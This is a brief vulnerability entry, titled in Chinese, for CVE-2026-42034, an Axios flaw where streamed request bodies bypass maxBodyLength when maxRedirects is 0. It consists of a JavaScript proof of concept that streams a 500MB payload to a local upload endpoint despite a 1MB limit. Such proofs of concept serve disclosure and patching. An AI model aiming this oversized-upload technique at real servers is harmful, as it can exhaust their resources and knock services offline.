CVE-2026-42034 Axios流式请求体长度限制绕过漏洞

const axios = require('axios'); const { Readable } = require('stream'); // Simulate a large data stream (e.g., 500MB) const largeStream = new Readable({ read() {} }); // Push a large amount of data to bypass the limit // In a real attack, this could be an infinite stream or huge file const largePayload = 'x'.repeat(1024 * 1024 * 500); largeStream.push(largePayload); largeStream.push(null); // Configure axios with a strict body limit but vulnerable redirect setting axios.post('http://localhost:3000/upload', largeStream, { maxBodyLength: 1024 * 1024, // Set limit to 1MB (Intended to block the request) maxRedirects: 0, // Set to 0 triggers the vulnerable path headers: { 'Content-Type': 'application/octet-stream' }, httpAgent: new http.Agent({ keepAlive: true }) }).then(response => { console.log('Request sent successfully (Limit Bypassed)', response.status); }).catch(error => { console.error('Request failed:', error.message); });
